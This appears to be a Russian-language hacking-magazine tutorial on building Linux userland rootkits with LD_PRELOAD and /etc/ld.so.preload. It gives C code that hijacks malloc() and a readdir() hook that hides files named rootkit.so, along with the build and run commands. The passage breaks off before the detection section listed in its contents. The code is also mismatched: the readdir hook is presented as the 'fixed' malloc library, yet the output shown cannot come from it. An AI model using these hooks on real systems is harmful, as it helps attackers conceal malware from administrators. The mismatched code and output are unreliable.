Следующая новость
Предыдущая новость

Операция «Предзагрузка». Создаем userland-руткиты в Linux с помощью LD_PRELOAD

29.12.2020 12:52

Содержание статьи

  • Переопределение системных вызовов
  • Обработка сбоев
  • Скрываем файл из листинга ls
  • Используем /etc/ld.so.preload
  • Скрываем ld.so.preload
  • Погружаемся глубже
  • Скрываем процесс с помощью LD_PRELOAD
  • libprocesshider
  • Sysdig как решение

В ник­сах сущес­тву­ет перемен­ная сре­ды, при ука­зании которой твои биб­лиоте­ки будут заг­ружать­ся рань­ше осталь­ных. А это зна­чит, что появ­ляет­ся воз­можность под­менить сис­темные вызовы. Называ­ется перемен­ная LD_PRELOAD, и в этой статье мы под­робно обсу­дим ее зна­чение в сок­рытии (и обна­руже­нии!) рут­китов.

Офи­циаль­но глав­ное пред­назна­чение LD_PRELOAD — отладка или про­вер­ка фун­кций в динами­чес­ки под­клю­чаемых биб­лиоте­ках. Если не хочет­ся исправ­лять и переком­пилиро­вать саму биб­лиоте­ку, то мож­но вос­поль­зовать­ся перемен­ной сре­ды.

К при­меру, если нам нуж­но пред­загру­зить биб­лиоте­ку ld.so, то у нас будет два спо­соба:

  1. Ус­тановить перемен­ную сре­ды LD_PRELOAD с фай­лом биб­лиоте­ки.
  2. За­писать путь к биб­лиоте­ке в файл /etc/ld.so.preload.

В пер­вом слу­чае мы объ­явля­ем перемен­ную с биб­лиоте­кой для текуще­го поль­зовате­ля и его окру­жения. Во вто­ром же наша биб­лиоте­ка будет заг­ружена рань­ше осталь­ных для всех поль­зовате­лей сис­темы.

Нам инте­ресен как раз вто­рой спо­соб: имен­но он час­то исполь­зует­ся в рут­китах для перех­вата некото­рых вызовов, таких как чте­ние фай­ла, лис­тинг дирек­тории, про­цес­сов и про­чих фун­кций, поз­воля­ющих зло­умыш­ленни­ку скры­вать свое при­сутс­твие в сис­теме.

Переопределение системных вызовов

Преж­де чем мы нач­нем сбли­жение с реаль­ными фун­кци­ями рут­китов, давай на неболь­шом при­мере покажу, как мож­но перех­ватить вызов стан­дар­тной фун­кции malloc().

Для это­го напишем прос­тую прог­рамму, которая выделя­ет блок памяти с помощью фун­кции malloc(), затем помеща­ет в него фун­кци­ей strncpy() стро­ку I'll be back и выводит ее пос­редс­твом fprintf() по адре­су, который вер­нула malloc().

Соз­даем файл call_malloc.c:

#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>int main(){ char *alloc = (char *)malloc(0x100); strncpy(alloc, "I'll be back0", 14); fprintf(stderr, "malloc(): %pnStr: %sn", alloc, alloc);}

Те­перь напишем прог­рамму, пере­опре­деля­ющую malloc(). Внут­ри — фун­кция с тем же име­нем, что и в libc. Наша фун­кция не дела­ет ничего, кро­ме вывода стро­ки в STDERR c помощью fprintf(). Соз­дадим файл libmalloc.c:

#define _GNU_SOURCE#include <dlfcn.h>#include <stdlib.h>#include <stdio.h>void *malloc(size_t size){ fprintf(stderr, "nHijacked malloc(%ld)nn", size); return 0;}

Те­перь с помощью GCC ском­пилиру­ем наш код:

$ ls
call_malloc.c libmalloc.c

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc call_malloc.c libmalloc.c libmalloc.so

Вы­пол­ним нашу прог­рамму call_malloc:

$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back

Пос­мотрим, какие биб­лиоте­ки исполь­зует наша прог­рамма, с помощью ути­литы ldd:

$ ldd ./call_malloc
linux-vdso.so.1 (0x00007fff0cd81000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)

От­лично вид­но, что без исполь­зования пред­загруз­чика LD_PRELOAD стан­дар­тно заг­ружа­ются три биб­лиоте­ки:

  1. linux-vdso.so.1 — пред­став­ляет собой вир­туаль­ный динами­чес­кий раз­деля­емый объ­ект (Virtual Dynamic Shared Object, VDSO), исполь­зуемый для опти­миза­ции час­то исполь­зуемых сис­темных вызовов. Его мож­но игно­риро­вать (под­робнее — man 7 vdso).
  2. libc.so.6 — биб­лиоте­ка libc с исполь­зуемой нами фун­кци­ей malloc() в прог­рамме call_malloc.
  3. ld-linux-x86-64.so.2 — сам динами­чес­кий ком­понов­щик.

Те­перь давай опре­делим перемен­ную LD_PRELOAD и поп­робу­ем перех­ватить malloc(). Здесь я не буду исполь­зовать export и огра­ничусь однос­троч­ной коман­дой для прос­тоты:

$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошиб­ка сег­менти­рова­ния

Мы успешно перех­ватили malloc() из биб­лиоте­ки libc.so, но сде­лали это не сов­сем чис­то. Фун­кция воз­вра­щает зна­чение ука­зате­ля NULL, что при разыме­нова­нии strncpy() в прог­рамме ./call_malloc вызыва­ет ошиб­ку сег­менти­рова­ния. Испра­вим это.

Обработка сбоев

Что­бы иметь воз­можность незамет­но выпол­нить полез­ную наг­рузку рут­кита, нам нуж­но вер­нуть зна­чение, которое вер­нула бы пер­воначаль­но выз­ванная фун­кция. У нас есть два спо­соба решить эту проб­лему:

  • на­ша фун­кция malloc() дол­жна реали­зовы­вать фун­кци­ональ­ность malloc() биб­лиоте­ки libc по зап­росу поль­зовате­ля. Это пол­ностью изба­вит от необ­ходимос­ти исполь­зовать malloc() из libc.so;
  • libmalloc.so каким‑то обра­зом дол­жна иметь воз­можность вызывать malloc() из биб­лиоте­ки libc и воз­вра­щать резуль­таты вызыва­ющей прог­рамме.

Каж­дый раз при вызове malloc() динами­чес­кий ком­понов­щик вызыва­ет вер­сию malloc() из libmalloc.so, пос­коль­ку это пер­вое вхож­дение malloc(). Но мы хотим выз­вать сле­дующее вхож­дение malloc() — то, что находит­ся в libc.so.

Так про­исхо­дит потому, что динами­чес­кий ком­понов­щик внут­ри исполь­зует фун­кцию dlsym() из /usr/include/dlfcn.h для поис­ка адре­са заг­ружен­ного в память.

По умол­чанию в качес­тве пер­вого аргу­мен­та для dlsym() исполь­зует­ся дес­крип­тор RTLD_DEFAULT, который воз­вра­щает адрес пер­вого вхож­дения сим­вола. Одна­ко есть еще один псев­доука­затель динами­чес­кой биб­лиоте­ки — RTLD_NEXT, который ищет сле­дующее вхож­дение. Исполь­зуя RTLD_NEXT, мы можем най­ти фун­кцию malloc() биб­лиоте­ки libc.so.

От­редак­тиру­ем libmalloc.с. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:

#define _GNU_SOURCE#include <dlfcn.h>#include <dirent.h>#include <stdlib.h>#include <stdio.h>#include <string.h>// Определяем макрос, который является// названием скрываемого файла#define RKIT "rootkit.so"// Здесь все то же, что и в примере с malloc()struct dirent* (*orig_readdir)(DIR *) = NULL;struct dirent *readdir(DIR *dirp){ if (orig_readdir == NULL) orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir"); // Вызов orig_readdir() для получения каталога struct dirent *ep = orig_readdir(dirp); while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) ) ep = orig_readdir(dirp); return ep;}

В цик­ле про­веря­ется, не NULL ли зна­чение дирек­тории, затем вызыва­ется strncmp() для про­вер­ки, сов­пада­ет ли d_name катало­га с RKIT (фай­ла с рут­китом). Если оба усло­вия вер­ны, вызыва­ется фун­кция orig_readdir() для чте­ния сле­дующей записи катало­га. При этом про­пус­кают­ся все дирек­тории, у которых d_name начина­ется с rootkit.so.

Те­перь давай пос­мотрим, как отра­бота­ет наша биб­лиоте­ка в этот раз. Сно­ва ком­пилиру­ем и смот­рим на резуль­тат работы:

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back

От­лично! Как мы видим, все прош­ло глад­ко. Сна­чала при пер­вом вхож­дении malloc() была исполь­зована наша реали­зация этой фун­кции, а затем ори­гиналь­ная реали­зация из биб­лиоте­ки libc.so.

Те­перь, ког­да мы понима­ем, как работа­ет LD_PRELOAD и каким обра­зом мы можем пре­доп­ределять работу со стан­дар­тны­ми фун­кци­ями сис­темы, самое вре­мя при­менить эти зна­ния на прак­тике.

Поп­робу­ем сде­лать так, что­бы ути­лита ls, ког­да выводит спи­сок фай­лов, про­пус­кала рут­кит.

Скрываем файл из листинга ls

Боль­шинс­тво динами­чес­ки ском­пилиро­ван­ных прог­рамм исполь­зуют сис­темные вызовы стан­дар­тной биб­лиоте­ки libc. С помощью ути­литы ldd пос­мотрим, какие биб­лиоте­ки исполь­зует прог­рамма ls:

$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...

По­луча­ется, ls динами­чес­ки ском­пилиро­вана с исполь­зовани­ем фун­кций биб­лиоте­ки libc.so. Теперь пос­мотрим, какие сис­темные вызовы для чте­ния дирек­тории исполь­зует ути­лита ls. Для это­го в пус­той дирек­тории выпол­ним ltrace ls:

$ ltrace ls
memcpy(0x55de4a72e9b0, ".

Источник

Последние новости